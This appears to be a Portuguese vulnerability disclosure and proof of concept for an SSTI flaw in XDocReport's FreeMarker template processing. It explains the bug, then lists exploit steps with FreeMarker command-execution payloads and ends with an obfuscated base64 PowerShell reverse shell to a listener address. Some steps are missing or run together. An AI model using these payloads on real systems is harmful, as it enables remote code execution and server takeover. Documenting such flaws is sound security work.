
CVE-2025-64087 (SSTI)
Visão geral da vulnerabilidade
Server-Side Template Injection (SSTI) é uma vulnerabilidade de segurança web que permite a inserção de código malicioso em templates usados por sistemas de gerenciamento de conteúdo (CMS) e frameworks web, visando realizar ataques remotos, obter informações sensíveis ou realizar atividades de invasão do sistema.
SSTI é uma variante de vulnerabilidades de injeção (como SQL Injection, XSS, etc.), na qual o invasor explora o uso de sistemas de templates para implantar código malicioso remotamente. Quando um ataque SSTI é bem-sucedido, o invasor pode executar seu próprio código no servidor, permitindo realizar ataques remotos, como coletar informações sensíveis, realizar atividades de invasão do sistema e acessar recursos não autorizados.
A vulnerabilidade SSTI geralmente ocorre devido ao uso de sistemas de templates inseguros, ou pela falta de verificação e tratamento dos parâmetros de entrada antes de inseri-los nos templates. Se um ataque SSTI for bem-sucedido, as consequências podem ser graves e causar grandes danos à organização atacada.
Impacto nos negócios
A vulnerabilidade SSTI pode causar várias consequências graves, incluindo:
Execução de código malicioso: O invasor pode usar essa vulnerabilidade para executar código malicioso no servidor, permitindo roubo de dados, realização de ações ilegais no sistema e até mesmo controle total do servidor.
Divulgação de informações sensíveis: O SSTI pode permitir que o invasor leia, modifique ou exclua arquivos no servidor. Se esses arquivos contiverem informações sensíveis, como contas e senhas, o invasor pode facilmente expor essas informações.
Ataques de ameaça ou enganação de usuários: O invasor pode usar SSTI para realizar ataques de ameaça ou enganação de usuários, alterando o conteúdo da página web ou adicionando botões personalizados falsos. Se o usuário clicar nesses botões, o invasor pode roubar informações do usuário ou instalar software malicioso em seu computador.
Uma vulnerabilidade de Injeção de Template do Lado do Servidor (SSTI) foi encontrada no OpenSAGRES XDocReport ao processar modelos DOCX com o mecanismo FreeMarker. Sob certas configurações, modelos criados podem levar à Execução Remota de Código (RCE).
O site de gerenciamento de pessoal permite que os usuários façam upload de arquivos de documento .docx para o sistema. Durante o processamento, a aplicação usa o mecanismo de template FreeMarker (no arquivo FreemarkerTemplateEngine.java) para renderizar o conteúdo ${"freemarker.template.utility.Execute"?new()("whoami")} sem nenhum mecanismo de controle ou filtragem do conteúdo de entrada.
Essa vulnerabilidade permite que um invasor insira expressões maliciosas em arquivos .docx (modelo), levando à Execução Remota de Código (RCE) no servidor e podendo ser explorada para roubar informações ou assumir o controle do sistema.
fr.opensagres.xdocreport.template.freemarker — XDocReport (versões 1.0.0 a 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java não é realizada a verificação do conteúdo do arquivo xdoc de entrada. O conteúdo do modelo é carregado diretamente e passado para process(context, writer, template) para ser processado pelo mecanismo FreeMarker sem nenhum mecanismo de sandboxing ou restrição de diretivas/expressões. Como resultado, um invasor pode fornecer um modelo contendo expressões/comandos FreeMarker maliciosos, levando à execução remota de código (RCE)..docx cujo conteúdo interno é o seguinte payload:```
${"freemarker.template.utility.Execute"?new()("calc")}
2. Vê que pode executar com sucesso e abrir o aplicativo calc

3. Da mesma forma, para obter informações do usuário em execução no sistema com o payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx processado pelo template engine retornou dados do sistema


6. Elevar o impacto para RCE
- A máquina que escuta é wsl com endereço IP `172.26.208.130`

- explorar com o payload a seguir:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}